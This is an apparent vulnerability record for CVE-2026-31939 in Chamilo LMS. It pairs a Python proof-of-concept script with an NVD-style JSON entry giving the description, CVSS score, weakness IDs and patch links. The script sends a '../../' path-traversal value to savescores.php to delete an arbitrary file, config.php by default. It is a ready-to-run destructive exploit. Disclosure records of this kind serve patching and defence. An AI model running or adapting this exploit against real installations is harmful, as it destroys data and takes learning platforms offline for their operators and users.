CVE-2026-31939

import requests def exploit(target_url, file_to_delete): """ PoC for CVE-2026-31939: Arbitrary File Deletion via Path Traversal """ url = f"{target_url}/main/exercise/savescores.php" # Using path traversal to delete a target file payload = { "test": f"../../{file_to_delete}" } try: response = requests.post(url, data=payload) if response.status_code == 200: print(f"[+] Request sent to delete {file_to_delete}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost/chamilo" filename = "config.php" exploit(target, filename)

{"cve": {"id": "CVE-2026-31939", "sourceIdentifier": "[email protected]", "published": "2026-04-10T18:16:41.313", "lastModified": "2026-04-17T21:23:42.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is a learning management system. Prior to 1.11.38, there is a path traversal in main/exercise/savescores.php leading to arbitrary file feletion. User input from $_REQUEST['test'] is concatenated directly into filesystem path without canonicalization or traversal checks. This vulnerability is fixed in 1.11.38."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.38", "matchCriteriaId": "A4D0C5D2-6FA0-4532-8E3D-4EA111A50621"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/4dddcc19d36119da27b7c49eb84a035800abae78", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/releases/tag/v1.11.38", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-8q8c-v75x-q2hx", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-8q8c-v75x-q2hx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}